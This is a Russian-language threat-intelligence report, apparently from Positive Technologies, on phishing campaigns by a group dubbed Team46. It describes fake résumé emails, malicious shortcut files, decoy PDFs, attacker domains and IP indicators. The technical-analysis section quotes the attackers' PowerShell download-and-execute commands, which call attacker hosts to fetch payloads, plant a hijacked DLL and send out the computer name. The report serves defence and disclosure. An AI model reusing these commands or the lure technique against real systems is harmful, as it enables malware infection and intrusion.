Четвертого сентября исследователи из компании «Доктор Веб» выпустили интересный отчет о несостоявшейся атаке на российского оператора грузовых ж./д. перевозок.

Нам хотелось бы добавить в этот отчет наши находки и дополнительную информацию о других атаках. Мы назвали группу Team46, потому что в своей сетевой инфраструктуре атакующие использовали домен cybers46.team.

Первая атака

В конце февраля команда Threat Intelligence экспертного центра безопасности Positive Technologies обнаружила письмо с темой Re: Фронтенд-разработчик. Оно было отправлено с адреса jobs@rabotnik.today и замаскировано под резюме фронтенд-разработчика.

Сразу бросается в глаза написанный наугад номер телефона в подписи. К письму приложен запароленный архив Job Application_20240268.rar, который содержит файл Job Application.pdf.lnk, пароль от архива (Инна) указан в тексте письма. Кроме того, в письме есть ссылка rabotnik.today/resume/7952235986937661.rar, по которой скачивается архив уже без пароля, содержащий тот же самый ярлык. Из ярлыка запускается PowerShell-скрипт, который загружает другой PowerShell-скрипт по ссылке infosecteam.info/other.php?id=jdcz7vyqdoadr31gejeivo6g30cx7kgu (c5578c44bb56edc97c0ee974a90912716217c39449649be6755ba9417ecb7e73), а тот скачивает документ-приманку по ссылке infosecteam.info/Job%20application.pdf и основную полезную нагрузку по ссылке infosecteam.info/base.php, которую нам не удалось получилось, но она была описана исследователями из компании «Доктор Веб».

Документ-приманка выглядит как резюме некой Клеблец Инны Федоровны.

Резюме содержит несколько фактологических ошибок. Письмо было отправлено в конце февраля 2024 года, а дата рождения — 10 марта 1994 года, то есть должно быть показано 29 лет, а не 30. Кроме того, фамилии Клеблец не существует в принципе.

Изначально в резюме был указан почтовый адрес 8067282501@mail.ru, а после изменен на inna.kleblets@mail.ru. Все это, а также метаданные документа говорят о том, что файл был сохранен с сайта hh.ru и отредактирован в LibreOffice Writer 7.3 7 февраля 2024 в 02:00:00 UTC-05:00, при этом в качестве языка интерфейса LibreOffice Writer был использован en-US.

Отличительной особенностью этой атаки является то, что все используемые домены имеют заглушки, создающие вид его легитимности. Так, домен infosecteam.info принадлежит якобы российской компании InfoSecTeam.

Это может создавать видимость того, что файл является не реальной атакой, а пентестом. Страницы сайта явно имеют машинный перевод. Кроме того, в футере сайта есть ошибка в адресе, отсутствует указание дома.

Шаблон сайта взят из магазина шаблонов для WordPress.

Интересно, что при попытке поиска названия компании в Google первые две строки занимает сайт злоумышленников, а реальная компания из Великобритании, имеющая то же название, — лишь четвертую.

Аналогичная ситуация наблюдается и при поиске в Яндексе.

Домен rabotnik.today также имеет заглушку.

У сайта есть русскоязычная версия, которая также имеет машинный перевод.

В атаке задействованы два домена — rabotnik.today и infosecteam.info, зарегистрированные 08.12.2023 и 19.02.2024 соответственно. Помимо этого, были найдены еще два домена — cybers46.team и cybers4646.my.id, которые были зарегистрированы 05.06.2023 и 03.06.2023 соответственно и так же резолвились в 162.0.236.151, как и infosecteam.info. Предположительно, они использовались для разработки атаки, что может говорить о том, что эта атака не первая. По домену cybers46.team мы назвали атакующую группу Team46.

Сама атака носила явно массовый характер: мы обнаружили почти 4000 одинаковых ярлыков (но с разными идентификаторами жертв) в архивах в открытых папках на infosecteam.info, загруженных туда в течение трех минут.

Подсказки при поиске в Яндексе тоже говорят о том, что люди часто сталкивались с описанным фейковым резюме.

Вторая атака

В апреле экспертами PT Expert Security Center также были обнаружены аналогичные вредоносные ярлыки с именами SCAN_4024_2024_04_02.pdf.lnk и SCAN_4251_2024_03_25.pdf.lnk, загружавшие по ссылке srv480138.hstgr.cloud/uploads/scan_3824.pdf другой документ-приманку.

Документ создан 26.02.2024 в 12:00:07 UTC+00:00 при помощи Microsoft: Print To PDF с именем Remote Desktop Redirected Printer Doc, что говорит о том, что злоумышленники получили доступ к документу по протоколу RDP, после чего вывели его на печать в формате PDF. Содержимое домена srv480138.hstgr.cloud являлось полной копией сайта elevation.store — бьюти-магазина в ОАЭ. Заглушка совершенно не соотносилась с документом-приманкой, но это может говорить о том, что этот сервер злоумышленники могли также использовать для атак в ОАЭ, но подтверждений не нашлось.

Технический анализ атак

В первой атаке ярлык запускает powershell.exe со следующей командой:

-w Minimized -ep Bypass -nop -c "irm https://infosecteam.info/other.php?id=jdcz7vyqdoadr31gejeivo6g30cx7kgu | iex"

Каждому адресату отправляется ярлык с уникальным идентификатором. Ярлык скачивает и исполняет скрипт со следующим содержанием:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'http://infosecteam.info/Job%20application.pdf' -OutFile $env:LOCALAPPDATA\Temp\102fa066-cc9d-4a80-b3aa-12d5df196b42.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.';$env:LOCALAPPDATA\Temp\102fa066-cc9d-4a80-b3aa-12d5df196b42.pdf; iwr 'http://infosecteam.info/base.php' -OutFile $env:LOCALAPPDATA\Yandex\YandexBrowser\Application\Wldp.dll -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.';"

Скрипт загружает документ-приманку и открывает его, а затем скачивает полезную нагрузку, которая использует технику DLL Hijacking, подменяя системную библиотеку wldp.dll для Яндекс Браузера. В скрипте в качестве User-Agent используется строка, относящаяся к браузеру Microsoft Edge версии 121, вышедшей 25 января 2024 года.

Ярлык из второй атаки запускает powershell.exe с аналогичной командой:

-w Minimized -ep Bypass -nop -c "irm https://srv480138.hstgr.cloud/warning.php?id=efu8crth52xe73hku1whp10h7i2unsnw | iex"

Идентификатор также уникален для каждой цели. Ярлык скачивает и исполняет скрипт:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'https://srv480138.hstgr.cloud/uploads/scan_3824.pdf' -OutFile $env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.';$env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf;iwr 'https://srv480138.hstgr.cloud/report.php?query=$env:COMPUTERNAME' -OutFile $env:LOCALAPPDATA\Temp\AdobeUpdater.exe -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.1 YaBrowser/23.11.0.0 Safari/537.36';$env:LOCALAPPDATA\Temp\AdobeUpdater.exe;"

В этом случае полезная нагрузка маскируется под обновление Adobe Reader. Здесь в качестве User-Agent используется строка, относящаяся уже к браузеру Microsoft Edge версии 120, вышедшей 7 декабря 2023 года, хотя эта атака была произведена позже. Все ярлыки созданы и изменены 15.11.2023 в 11:12:27 UTC. Но в первой атаке имя компьютера — desktop-420!69j, имя пользователя — Putin[REDACTED], а во второй имя компьютера — desktop-819jaxj, имя пользователя — IgornWay. Второе имя пользователя выглядит как замена букв в первом при сохранении регистра. Такие различия в метаданных и строке User-Agent могут говорить о том, что за атаками стоит не один человек, а группа людей.

Заключение

Для однозначной атрибуции злоумышленников, а также их истинных мотивов все еще не хватает дополнительного контекста. Однако, судя по уровню подготовки и организациям, которые были атакованы хакерами, можно сказать, что мы имеем дело с АРТ-группировкой.

Мы продолжаем отслеживать активность группировки Team46 и ждем от нее новых атак.

TTP группировки Team46 по матрице MITRE ATT&CK

IOCs

Файловые индикаторы

Сетевые индикаторы

rabotnik.today

infosecteam.info

cybers46.team

cybers4646.my.id

srv480138.hstgr.cloud

162.0.236.151

203.161.60.229

149.100.138.167

Станислав Пыжов

Старший специалист группы исследования сложных угроз экспертного центра безопасности Positive Technologies

Денис Кувшинов

Руководитель департамента Threat Intelligence экспертного центра безопасности Positive Technologies